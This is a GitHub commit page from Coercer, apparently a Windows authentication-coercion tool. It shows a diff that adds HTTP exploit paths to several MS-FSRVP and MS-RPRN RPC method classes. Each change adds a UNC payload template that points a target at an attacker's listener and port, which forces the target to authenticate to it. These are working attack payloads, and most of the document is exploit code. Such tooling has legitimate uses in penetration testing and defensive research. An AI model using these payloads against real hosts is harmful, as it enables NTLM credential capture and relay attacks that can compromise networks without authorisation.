Skip to content

Commit 0bc223b

Browse files
authored
Fixed #83 (#86)
1 parent c77c52b commit 0bc223b

File tree

4 files changed

+7
-4
lines changed

4 files changed

+7
-4
lines changed

coercer/methods/MS_FSRVP/IsPathShadowCopied.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,8 @@ class IsPathShadowCopied(MSPROTOCOLRPCCALL):
3636
"""
3737

3838
exploit_paths = [
39-
("smb", '\\\\{{listener}}\x00')
39+
("smb", '\\\\{{listener}}\x00'),
40+
("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
4041
]
4142

4243
access = {

coercer/methods/MS_FSRVP/IsPathSupported.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,8 @@ class IsPathSupported(MSPROTOCOLRPCCALL):
3636
"""
3737

3838
exploit_paths = [
39-
("smb", '\\\\{{listener}}\x00')
39+
("smb", '\\\\{{listener}}\x00'),
40+
("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
4041
]
4142

4243
access = {

coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotification.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,8 @@ class RpcRemoteFindFirstPrinterChangeNotification(MSPROTOCOLRPCCALL):
1919
"""
2020

2121
exploit_paths = [
22-
("smb", '\\\\{{listener}}\x00')
22+
("smb", '\\\\{{listener}}\x00'),
23+
("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
2324
]
2425

2526
access = {

coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotificationEx.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ class RpcRemoteFindFirstPrinterChangeNotificationEx(MSPROTOCOLRPCCALL):
2020

2121
exploit_paths = [
2222
("smb", '\\\\{{listener}}\x00'),
23-
("http", '\\\\{{listener}}@80/print\x00')
23+
("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
2424
]
2525

2626
access = {

0 commit comments

Comments
 (0)